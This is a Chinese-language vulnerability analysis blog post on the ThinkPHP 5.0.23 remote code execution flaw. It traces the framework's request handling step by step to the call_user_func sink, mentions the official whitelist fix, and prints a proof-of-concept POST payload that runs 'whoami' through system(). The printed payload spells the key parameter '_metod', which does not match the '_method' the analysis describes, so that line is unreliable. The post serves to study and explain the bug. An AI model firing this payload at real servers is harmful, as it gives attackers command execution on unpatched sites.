ThinkPHP 5.0.23 远程代码执行

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能导致用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生。受影响的版本包括5.0和5.1版本(v5.0.23v5.1.31以下版本)

在复现之前先简单看看ThinkPHP的生命周期,了解ThinkPHP是如何处理请求、路由、返回数据。

ThinkPHP生命周期

漏洞复现

以ThinkPHP 5.0.23为例

未开启Debug模式

POST /index.php?s=captcha HTTP/1.1
Host: localhost:8080
Content-Length: 84
Cache-Control: max-age=0

_metod=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

test

漏洞环境

  • PHP7.3
  • Apache2.0
  • ThinkPHP 5.0.23
  • PhpStorm Pro
  • Xdebug

漏洞分析

提交Payload

run方法

run()方法下断点,F7跟进

断点

主要看路由函数

当程序进入run()函数,先一顿初始化,比如说$request$config....

因为默认self::$dispatch == null是没有调度信息的,所以程序会进入self::routeCheck($request, $config);,返回一个$dispatch调度信息,包含路由地址方式、模块、控制器、方法等等,跟进Look Look

 public static function run(Request $request = null)
    {
         ......
            $config = self::initCommon();
            // 加载默认全局过滤方法, 默认是空的,这个变量是这次漏洞的关键
            $request->filter($config['default_filter']);
            ...
            // 监听 app_dispatch
            Hook::listen('app_dispatch', self::$dispatch);
            // 未设置调度信息则进行 URL 路由检测
            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }
        ......
             $data = self::exec($dispatch, $config);
    }

URL路由检测 -> routeCheck()

该函数根据PATH_INFO进行URL路由检测,首先会根据$request对象获取到请求路径,因为Payload请求的URL为?s=captcha路由,而s是ThinkPHP中的PATHINFO变量名 用于兼容模式,通过$request->path()函数,获取到path

获取配置文件中定义的PATH_INFO分隔符,默认为 /

然后进行路由检测,判断self::$routeCheck是否为null,若为null加载配置文件的url_route_on,该值默认为true,说明默认开始路由

进入了判断,判断是否存在路由缓存文件,默认是没有开启路由解析缓存,所以程序读取配置文件的route_config_file所配置的路由文件,默认有一个route值,拼接上路径与后缀,最后路径为D:phpEnvwwwlocalhosttppublic/../application/route.ph

loadRoute

继续往下看

Route::check()函数

程序执行了Route::check(...);,函数会根据不同的路由定义返回不同的URL调度,跟进查看

url

Route::check() 函数,截取部分

// thinkphp/library/think/Route.php
public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
    .....
        $method = strtolower($request->method());  // 漏洞形成主要原因
        // 获取当前请求类型的路由规则
        $rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
    .....
            if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
                self::setOption($rule['option']);
                return self::parseRule($item, $rule['route'], $url, $rule['option']);
            }
        }
     .....
    }

当程序执行到 $method = strtolower($request->method());时,这个关键点,Debug进去

request-method

$request->method()函数

request类的method方法(文件路径:thinkphp/library/think/Request.php),根据注释,可以知道该函数是用来获取原始请求类型的,因为check函数里面调用method的时候没有添加参数,所以$method的值默认为false

method

正因如此,程序会判断$_POST中是否存在配置文件中var_method的值的参数,这个常量被称作"表单请求类型伪装变量",默认值为_method,因为在POST的Payload中,构造了_method这个参数,接下来就可以继续往下执行了

var_method

$this->method = strtoupper($_POST[Config::get('var_method')]) == $_POST['_method'] = __construct`;
$this->{$this->method}($_POST) == $this->__construct($_POST);

这两行就是这个漏洞形成的主要地方,$_POST值可由用户控制,添加一个_method参数,值可以为Request类的任意函数,就可完成对该类的任意方法的调用,而这个漏洞利用了Request类中的__construct构造函数,其传入的参数即对应的$POST数组,对Request对象的属性进行覆盖,才形成了远程代码执行漏洞

看看__construct这个函数

// thinkphp/library/think/Request.php   #135   
protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
       .....
    }

这个构造函数中,主要对$option数组进行遍历,当$option的键名为该类属性时,则将该类同名属性赋值为$option中该键对应的值,而现在也就是传进入的$_POST数组遍历,利用这个函数,把该类属性名为:filterserver[REQUEST_METHOD]method的值覆盖,其中

$this->filter保存着全局过滤规则方法列表,将他覆盖为我们最终想要执行的函数,例如:system

server[REQUEST_METHOD]后面在路由到方法会提到

method,是因为需要获取到captcha验证码模块的路由信息

经过覆盖,相关变量变为

object(think\Request)[2]
  protected 'method' => string 'get' (length=3)
  protected 'server' => 
    array (size=1)
      'REQUEST_METHOD' => string 'whoami' (length=6)
  protected 'filter' => 
    array (size=1)
      0 => string 'system' (length=6)

最终,Routch::check()函数中调用了$request->method()返回了值为$this->method也就是被Payload覆盖了的值get

注意我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get,位于vendor/topthink/think-captcha/src/helper.php。在method方法结束后,返回的$this->method值应为get这样才能不出错,所以Payload中有个method=get

接下来就是获取captcha的路由信息

self::reules这个数组中,已经注册了所有的用到的路由,例如我们请求URL中的captcha验证码模块的路由,以及默认路由hello

self::checkRoute()函数

然后运行到路由规则检测,又调用了一个self::checkRoute()函数

// thinkphp/library/think/Route.php  #886
// 路由规则检测
if (!empty($rules)) {
    return self::checkRoute($request, $rules, $url, $depr);
}

// thinkphp/library/think/Route.php  #1202
if (false !== $match = self::match($url, $rule, $pattern)) {
    // 匹配到路由规则
    return self::parseRule($rule, $route, $url, $option, $match);
}

跟入函数,调用了self::checkRule()函数,最终调用了parseRule函数进行匹配路由规则,决定了后面的路由地址方式。

ThinkPHP5 中支持 5种 路由地址方式定义:

定义方式定义格式
方式1:路由到模块/控制器‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2:路由到重定向地址‘外部地址’(默认301重定向) 或者 [‘外部地址’,’重定向代码’]
方式3:路由到控制器的方法‘@[模块/控制器/]操作’
方式4:路由到类的方法‘完整的命名空间类::静态方法’ 或者 ‘完整的命名空间类@动态方法’
方式5:路由到闭包函数闭包函数定义(支持参数传入)

captcha的路由信息为

captcharoute

captcha模块的路由定义格式符合方式3:路由到控制器的方法,所以最终会匹配到路由到方法

parse

最终App.phpRoute::check()函数运行的$result的结果为

array (size=3)
  'type' => string 'method' (length=6)
  'method' => 
    array (size=2)
      0 => string '\think\captcha\CaptchaController' (length=32)
      1 => string 'index' (length=5)
  'var' => 
    array (size=0)
      empty

而这个$result最终返回到run()中的$dispatch,这个就是这次请求的通过路由,经由各种替换整合得到的调度信息,包含了,回调类型Type、控制器路径、操作、参数

现在,程序又回到的App.phprun方法中了,运行到了 $data = self::exec($dispatch, $config);这个方法。同样点进去看看

App.php -> exec()函数

self::exec函数执行的是调用分发,根据调度信息、配置信息

// thinkphp/library/think/App.php   #445 
protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
            case 'redirect': // 重定向跳转
                .....
            case 'module': // 模块/控制器/操作
                .....
            case 'controller': // 执行控制器操作
                .....
            case 'method': // 回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function': // 闭包
                .....
            case 'response': // Response 实例
                .....
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }
        return $data;
    }

根据$dispatch调度信息中的type进行分发,通过上面我们知道,现在type是"method",所以程序会执行

$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);

array_merge

把两个数组合并为一个数组

Request.php——param()函数

先来看看Request::instance()->param()代码,实例化一个Request对象,调用param()方法

文件位于:thinkphp/library/think/Request.php #635

默认$this->mergeParamfalse, 所以判断成立,通过method函数,传递true值,获取请求类型

再一次浏览一下method函数

传入的值为true,调用$this->server(),传了一个值为'REQUEST_METHOD'的字符串,跟进去

Request.php——server()函数

// thinkphp/library/think/Request.php   #863
public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

首先进行了两个判断,第一个判断$this->server是否为空,这时候我们要知道,Payload中构造了一个server['REQUEST_METHOD']的参数,上面在利用构造函数__construct进行对$_POST遍历,属性覆盖的时候,我们已经把$this->server覆盖为一个array

 protected 'server' => 
    array (size=1)
      'REQUEST_METHOD' => string 'whoami' (length=6)

好了,现在两个判断都不成立,程序直接返回$this->input()函数执行的结果,传递的参数有

  • $this->server --> array
  • $name 也就是 method函数调用server函数时传递的'REQUEST_METHOD'字符串
  • $default = null
  • $filter = ''

下面就来看看input这个函数

Request.php——input函数

// thinkphp/library/think/Request.php   #1000
public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];  // 通过这里截取到了POST请求中的server['REQUEST_METHOD']的值
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            .....
        } else {
            $this->filterValue($data, $name, $filter);
        }

        ....
        return $data;
    }

运行到按.拆分多为数组的时候,因为$name的值为REQUEST_METHOD,拆分之后仍然还有REQUEST_METHOD$data$this->server的array,因为Payload提交了一个server['REQUEST_METHOD'],并通过了前面的构造函数覆盖了,所以,$data[$val]就相当于$this->server['REQUEST_METHOD'],并且值也是用户可以控制的,在这$data变为了我们Payload中$this->server['REQUEST_METHOD']的值whoami

Request.php——getFilter()函数

来到了重点,解析过滤器,这玩意首先调用$this->getFilter函数获取一个过滤函数进行对参数过滤,跟踪进去查看源码

getFilter

因为传进去的两个值都为空,所以最终返回的$filter数组是由$this->filter决定的,而这个值同样在利用构造函数中根据用户构造的请求参数中进行覆盖,所以这里返回用户构造的$this->filter数组,里面含system函数

回到input函数,已经获取到了$filter函数,继续分析

以为$data是一个字符串,所以程序会执行$this->filterValue函数,传递参数

  • $data --> 'whoami'
  • $name --> 'REQUEST_METHOD'
  • $filter --> array ['system',...]

跟踪filterValue函数

    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    ...
                    ...
                    ...

这里就是代码执行的最终地方,遍历$filter数组,调用用户指定的函数

$value = call_user_func($filter, $value);

最终把执行的结果返回到浏览器

最后,回想一下整个流程,攻击者通过指定路由,构造POST请求参数,利用ThinkPHP在获取请求类型中,获取用户提交的$_POST的参数,构造函数,而这些参数是用户可控的,导致用户可以构造该类的任意函数,而这个漏洞构造了__construct函数进行对类的任意属性进行覆盖,通过覆盖filter函数,通过param函数,借助对参数进行过滤的操作,而过滤函数是攻击者可以控制的,最后执行了call_user_func函数,执行了攻击者指定的函数与参数值,最后导致远程代码执行。

程序调用栈

调用栈

官方补丁

官方的修复方法:在method获取请求方法中,进行白名单校验

fix

标签: ThinkPHP, 远程代码执行

添加新评论